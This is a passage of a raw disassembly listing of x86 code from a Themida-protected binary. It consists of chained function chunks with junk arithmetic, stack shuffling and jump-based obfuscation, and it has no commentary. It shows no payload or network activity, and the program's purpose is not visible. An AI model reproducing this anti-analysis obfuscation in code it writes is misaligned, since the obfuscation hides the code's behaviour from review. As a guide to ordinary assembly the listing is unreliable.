		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_5618BD
; END OF FUNCTION CHUNK	FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_560636:				; CODE XREF: sub_574949-677Dj
		xor	al, cl
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_5692BF
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_560643:				; CODE XREF: sub_569FB8-48E4j
		pop	esp
		xor	bl, al
		movzx	eax, al
		jmp	loc_570A83
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56064E:				; CODE XREF: sub_574A21-11899j
		add	ecx, eax
		jmp	loc_563C2E
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_560655:				; CODE XREF: sub_566C83-429Dj
		add	esp, 4
		push	eax
		mov	eax, 29837412h
		add	eax, 2DF004Eh
		add	eax, 4A622E25h
		jmp	loc_560007
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ED9


loc_560670:				; CODE XREF: sub_562ED9+6j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_572C06
; END OF FUNCTION CHUNK	FOR sub_562ED9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_560684:				; CODE XREF: sub_56AB5E-46F6j
		pop	esp
		mov	[esp+0Ch+var_C], edx
		jmp	loc_56C8CE
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_56068D:				; CODE XREF: sub_56BD44-5171j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4+var_4]
		jmp	loc_565761
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_56069B:				; CODE XREF: sub_564020+EC0Ej
		xor	eax, 64CA0CA3h
		jmp	loc_5703B6
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_5606A5:				; CODE XREF: sub_572E16-1051Ej
		sub	[esp+14h+var_14], 234E325Dh
		pop	edx
		add	edx, 234E325Dh
		pop	ebp
		sub	edx, 70CF90C5h
		sub	esi, 2A16773Ch
		sub	esi, edx
		add	esi, 2A16773Ch
		push	[esp+0Ch+var_C]
		pop	edx
		add	esp, 4
		sub	eax, 1E390069h
		add	eax, esi
		add	eax, 1E390069h
		jmp	loc_56F4BB
; END OF FUNCTION CHUNK	FOR sub_572E16

; =============== S U B	R O U T	I N E =======================================



sub_5606E3	proc near		; CODE XREF: sub_5747AF-E559j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560525 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00561F9C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005642D5 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00565E83 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056603F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567619 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056945B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056CCB7 SIZE 00000009 BYTES

		push	ebp
		jmp	loc_567619
sub_5606E3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5606E9:				; CODE XREF: sub_5678CB+36E5j
		sub	ch, 61h
		or	dl, ch
		push	dword ptr [esp+0]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_573569
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_560703:				; CODE XREF: sub_57354D-DD5j
		sub	esi, ebx
		jmp	loc_570EE1
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_56070A:				; CODE XREF: sub_5747FA-12A4Ej
		neg	ebp
		xor	ebp, 91C9488Bh
		mov	edi, ebp
		pop	ebp
		and	edi, 204D1B78h
		push	ebx
		mov	ebx, 0A72354Ch
		sub	ebx, 0F27BCE0Bh
		sub	edi, ebx
		jmp	loc_568B87
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------


loc_56072E:				; CODE XREF: Themida_:0057493Aj
		push	2FE0h
		jmp	loc_562539
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_560738:				; CODE XREF: sub_571088-CE3Fj
		sub	bl, ah
		push	dword ptr [esp+0]
		jmp	loc_5665AF
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_560742:				; CODE XREF: sub_5685B2-BA8j
		mov	eax, 3A6615B1h
		mov	edx, eax
		pop	eax
		push	ebx
		jmp	loc_572E4C
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_560750:				; CODE XREF: sub_563A7F+7212j
		push	dword ptr [edi+eax*4]
		push	7F70h
		mov	[esp+8+var_8], esi
		jmp	loc_56932E
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_560760:				; CODE XREF: sub_56241E+3913j
		and	cx, 507Eh
		jmp	loc_57543A
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569E1B


loc_56076A:				; CODE XREF: sub_569E1B-6E0Ej
		sub	al, 9Fh
		add	al, dh
		push	ebx
		mov	bh, 9Fh
		add	al, bh
		pop	ebx
		pop	edx
		sub	al, 0C8h
		sub	al, bl
		push	small 3870h
		jmp	loc_565F82
; END OF FUNCTION CHUNK	FOR sub_569E1B

; =============== S U B	R O U T	I N E =======================================



sub_560782	proc near		; DATA XREF: Themida_:0055FDC4o

; FUNCTION CHUNK AT 00568077 SIZE 00000005 BYTES

		pop	dword ptr [edx]
		jmp	loc_568077
sub_560782	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_560789:				; CODE XREF: sub_560CF1+98D5j
		push	esp
		jmp	loc_570005
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C295


loc_56078F:				; CODE XREF: sub_56C295+4374j
		mov	ebp, 63D61E38h
		sub	ebp, ebx
		pop	ebx
		sub	edi, 5C710A8Eh
		add	edi, ebp
		add	edi, 5C710A8Eh
		jmp	loc_56E998
; END OF FUNCTION CHUNK	FOR sub_56C295
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726FB


loc_5607AA:				; CODE XREF: sub_5726FB-98B3j
		push	dword ptr [esp+0]
		pop	ecx
		push	7CAFh
		jmp	loc_5724BB
; END OF FUNCTION CHUNK	FOR sub_5726FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DC7


loc_5607B8:				; CODE XREF: sub_566DC7+6B8Cj
		add	esi, ebp
		jmp	loc_563CB9
; END OF FUNCTION CHUNK	FOR sub_566DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_5607BF:				; CODE XREF: sub_56A608-5260j
		xor	edx, ebp
		pop	ebp
		sub	ebx, 77145E64h
		sub	ebx, edx
		add	ebx, 77145E64h
		pop	edx
		sub	ebx, 32DA4E8Bh
		add	ebx, eax
		push	ecx
		jmp	loc_564838
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_5607DF:				; CODE XREF: sub_568646+1BFDj
		mov	bl, 0Eh
		mov	cl, bl
		pop	ebx
		jmp	loc_56955D
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57199D


loc_5607E9:				; CODE XREF: sub_57199D+2B61j
		not	eax
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		xchg	esi, ebx
		not	esi
		push	ebx
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		pop	ebx
		pop	esi
		jmp	loc_5735DA
; END OF FUNCTION CHUNK	FOR sub_57199D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_560804:				; CODE XREF: sub_56EE9F-651Bj
		mov	ebp, [esp+0]
		push	622Dh
		mov	[esp+4+var_4], ecx
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		jmp	loc_56AD87
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C4FF


loc_56081D:				; CODE XREF: sub_56C4FF+5FF8j
		push	ecx
		mov	ecx, 41B470A3h
		and	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 14407E80h
		push	ecx
		not	[esp+8+var_8]
		pop	ecx
		push	edx
		mov	edx, 0
		add	edx, 6C3E1462h
		sub	edx, ecx
		jmp	loc_566D0E
; END OF FUNCTION CHUNK	FOR sub_56C4FF

; =============== S U B	R O U T	I N E =======================================



sub_560844	proc near		; DATA XREF: Themida_:0055FEC8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560203 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00560BE4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00564D9D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564F4E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00565425 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566DDB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056760D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00568334 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00568932 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00568A9B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569144 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005698FC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C56B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056CF3C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D823 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E5A4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00570CA7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005718B8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572D35 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00573BEC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00574039 SIZE 0000000F BYTES

		lodsd
		add	eax, 1A4446C0h
		sub	eax, 2C2D63BBh
		add	eax, ebx
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	2C2D63BBh
		pop	edx
		add	eax, edx
		pop	edx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_5718B8
sub_560844	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_56087B:				; CODE XREF: sub_56E05C-8DE4j
		add	ebp, 9A3F4E94h
		sub	eax, ebp
		pop	ebp
		push	eax
		push	[esp+8+var_4]
		pop	eax
		jmp	loc_56343E
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_56088F:				; CODE XREF: sub_56D464+6j
		mov	[esp+4+var_4], eax
		push	400h
		jmp	loc_5618C7
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD97


loc_56089C:				; CODE XREF: sub_56FD97-9F88j
		mov	[esp+4+var_4], ebp
		push	23Ah
		mov	[esp+8+var_8], edx
		pop	ebp
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	edx, 32735B14h
		add	edx, ebp
		sub	edx, 32735B14h
		push	[esp+4+var_4]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56B3AA
; END OF FUNCTION CHUNK	FOR sub_56FD97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_5608DA:				; CODE XREF: sub_56102D+E155j
		mov	[esp+0], edi
		push	edx
		jmp	loc_563875
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_5608E3:				; CODE XREF: sub_570CE4-A6CAj
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_569EE0
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5729F9


loc_5608EB:				; CODE XREF: sub_5729F9-320Cj
		shl	bh, 8
		shl	bh, 3
		jmp	loc_56807C
; END OF FUNCTION CHUNK	FOR sub_5729F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_5608F6:				; CODE XREF: sub_56DA43+1E18j
		pop	ebp
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_562E5C
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_560912:				; CODE XREF: sub_561027+C8C8j
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		jmp	loc_56C283
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_560937:				; CODE XREF: sub_56C83E-18F1j
		mov	[esp+0], ebp
		sub	esp, 4
		jmp	loc_5735FF
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_560945:				; CODE XREF: sub_56E0B0-277Fj
		xor	edx, 0AA7088Eh
		jmp	loc_563555
; END OF FUNCTION CHUNK	FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_560950:				; CODE XREF: sub_572641-6211j
		mov	edx, [esp+0]
		push	4DC5h
		mov	[esp+4+var_4], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		push	edx
		mov	dl, 39h
		xor	dl, 0ABh
		neg	dl
		or	dl, 36h
		dec	dl
		push	dx
		not	byte ptr [esp+6+var_8+2]
		mov	dx, word ptr [esp+6+var_8+2]
		jmp	loc_565693
; END OF FUNCTION CHUNK	FOR sub_572641

; =============== S U B	R O U T	I N E =======================================



sub_5609A1	proc near		; CODE XREF: sub_5620B7+DA9Dj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056CC03 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005712E2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00573B74 SIZE 00000009 BYTES

		push	ebx
		mov	ebx, 433C4466h
		jmp	loc_573B74
sub_5609A1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5609AC:				; CODE XREF: sub_571F6F-2E89j
		pop	edx
		push	[esp+8+var_8]
		jmp	loc_5641A4
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_5609B5:				; CODE XREF: sub_565632+6A74j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebp
		not	[esp-4+arg_0]
		pop	ebp
		push	ebp
		push	[esp-4+arg_4]
		pop	ebp
		pop	[esp-4+arg_0]
		push	[esp-8+arg_4]
		mov	eax, [esp-4+arg_0]
		jmp	loc_570305
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------


loc_5609DD:				; CODE XREF: Themida_:00568FA2j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56CB02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_5609EA:				; CODE XREF: sub_5605BC+13AEBj
		push	764Ch
		mov	[esp+0Ch+var_C], ebx
		push	esp
		pop	ebx
		jmp	loc_56EC21
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------


loc_5609F9:				; CODE XREF: Themida_:00561613j
		add	eax, 4
		jmp	loc_570489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_560A03:				; CODE XREF: sub_560056+13F50j
		pop	esi
		jmp	loc_567724
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_560A09:				; CODE XREF: sub_574CDD-A7E0j
		pop	eax
		push	edi
		not	[esp+0Ch+var_C]
		pop	edi
		shr	edi, 3
		jmp	loc_567C9E
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_560A17:				; CODE XREF: sub_5604FE+14F37j
		mov	edi, 55D7554Ch
		and	edi, 2D009B8h
		sub	edi, 601E2366h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		not	edi
		jmp	loc_56E319
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_560A35:				; CODE XREF: sub_56F3B2-2584j
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_5671B2
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_560A43:				; CODE XREF: sub_56BD44-AAD0j
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		xchg	eax, [esp+4+var_4]
		jmp	loc_56997A
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_560A58:				; CODE XREF: sub_5745B5+1j
		push	edx
		push	ecx
		jmp	loc_56A13E
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_560A5F:				; CODE XREF: sub_563819-2A26j
		add	eax, 29DB4243h
		jmp	loc_56260C
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56331C


loc_560A69:				; CODE XREF: sub_56331C+F543j
		xchg	ebx, [esp+0]
		pop	esp
		sub	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edx
		push	7BF81C5Bh
		mov	edx, [esp-4+arg_0]
		jmp	loc_56B3B6
; END OF FUNCTION CHUNK	FOR sub_56331C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_560A84:				; CODE XREF: sub_56CC46-B4D8j
		mov	edx, 56052D42h
		add	edx, 0C6914C19h
		xor	ebp, edx
		pop	edx
		xor	ebp, 4074044Dh
		add	ecx, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		shr	ecx, 2
		push	edi
		mov	edi, 22575CCh
		sub	ecx, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		sub	ecx, 71335301h
		inc	ecx
		xor	ecx, 0BEB718C2h
		sub	ebx, 65EC3865h
		sub	ebx, ecx
		add	ebx, 65EC3865h
		pop	ecx
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp-4+arg_0], edx
		push	11h
		jmp	loc_566B48
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_560AE6:				; CODE XREF: sub_56102D+9D44j
		shl	eax, 8
		jmp	loc_56AA20
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5631A3


loc_560AEE:				; CODE XREF: sub_5631A3-2D6Cj
		pop	[esp+0Ch+var_C]
		pop	esp
		jmp	loc_5640F2
; END OF FUNCTION CHUNK	FOR sub_5631A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_560AF7:				; CODE XREF: sub_564D26+C24Cj
		mov	[esp+20h+var_20], esi
		push	7E360679h
		jmp	loc_57233B
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_560B04:				; CODE XREF: sub_56FB8A-5A02j
		neg	ebx
		sub	ebx, 6BA02385h
		add	ebx, 0F3834224h
		add	eax, ebx
		jmp	loc_5664C1
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_560B19:				; CODE XREF: sub_56D4B8+35C6j
		push	dword ptr [esp+0]
		jmp	loc_56AD12
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_560B21:				; CODE XREF: sub_5610CE+3F2Dj
		mov	ebx, 2CCF5EBDh
		mov	ebp, 151A4FF0h
		jmp	loc_56508C
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_560B30:				; CODE XREF: sub_574304-DAE6j
		sub	[esp+10h+var_C], 2E890F03h
		sub	[esp+10h+var_C], ecx
		add	[esp+10h+var_C], 2E890F03h
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		mov	edi, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5729B4
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_560B61:				; CODE XREF: sub_574949-13927j
		xor	esi, 40487CC3h
		add	edi, esi
		pop	esi
		jmp	loc_5733E8
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_560B6F:				; CODE XREF: sub_57354D-4841j
		and	eax, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_56596B
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_560B84:				; CODE XREF: sub_5734A7+7j
		pop	edi
		sub	edi, 665E4601h
		shl	edi, 5
		jmp	loc_571B8F
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574503


loc_560B93:				; CODE XREF: sub_574503-73CAj
		add	edi, ebx
		jmp	loc_575210
; END OF FUNCTION CHUNK	FOR sub_574503
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_560B9A:				; CODE XREF: sub_5733CA-CAB6j
		pop	esp
		jmp	loc_570925
; END OF FUNCTION CHUNK	FOR sub_5733CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_560BA0:				; CODE XREF: sub_568E5C+AA71j
		sub	esi, edx
		sub	esi, 51B715B1h
		pop	edx
		xchg	esi, [esp+0]
		jmp	loc_56F187
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA36


loc_560BB1:				; CODE XREF: sub_56DA36+39CDj
		add	esp, 4
		jmp	sub_56ACDE
; END OF FUNCTION CHUNK	FOR sub_56DA36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_560BB9:				; CODE XREF: sub_561027+8C47j
		xchg	ebx, [esp-4+arg_0]
		push	[esp-4+arg_0]
		mov	eax, [esp+0]
		jmp	loc_562D37
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_560BC7:				; CODE XREF: sub_566C83+1AAj
		or	ebp, 2F853CA2h
		dec	ebp
		xor	ebp, 2FFD3FB9h
		add	edx, ebp
		pop	ebp
		jmp	loc_5741C9
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_560BDC:				; CODE XREF: sub_56AB5E-80D3j
		movzx	eax, al
		jmp	loc_56CF46
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_560BE4:				; CODE XREF: sub_560844+BD35j
		add	ecx, 0F593CDFBh
		add	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 3DC4224Dh
		and	edx, 77216FC7h
		jmp	loc_568932
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BDE9


loc_560BFE:				; CODE XREF: sub_56BDE9+11j
		pop	edx
		xchg	ebx, [esp+4+var_4]
		pop	esp
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		shl	[esp-4+arg_0], cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56BDE9

; =============== S U B	R O U T	I N E =======================================



sub_560C12	proc near		; DATA XREF: Themida_:0055FD94o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0056022D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00561281 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005625CE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564659 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00565CC2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567FB6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00568D7A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056BF51 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0057156B SIZE 00000011 BYTES

		mov	ax, [esp+0]
		push	6BBFh
		mov	[esp+4+var_4], edi
		push	ebx
		mov	ebx, esp
		jmp	loc_57156B
sub_560C12	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_560C26:				; CODE XREF: sub_57549C-39F6j
		xor	ecx, ebx
		jmp	loc_57469F
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_560C2D:				; CODE XREF: sub_561541+10848j
		pop	ebx
		push	eax
		push	esp
		pop	eax
		jmp	loc_56147B
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_560C36:				; CODE XREF: sub_569B75-9618j
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ecx
		mov	ecx, 48C9CD95h
		xor	eax, ecx
		mov	ecx, [esp-4+arg_0]
		jmp	sub_5687A3
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_560C54:				; CODE XREF: sub_56241E+547j
		mov	cx, word ptr [esp+6+var_8+2]
		jmp	loc_5623A1
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------


loc_560C5D:				; CODE XREF: Themida_:00563D8Cj
		shr	ebp, 1
		push	eax
		mov	eax, 20A76F35h
		add	ebp, eax
		pop	eax
		sub	ebp, 83F0BF8h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56E443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567049


loc_560C7C:				; CODE XREF: sub_567049+DBECj
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_564467
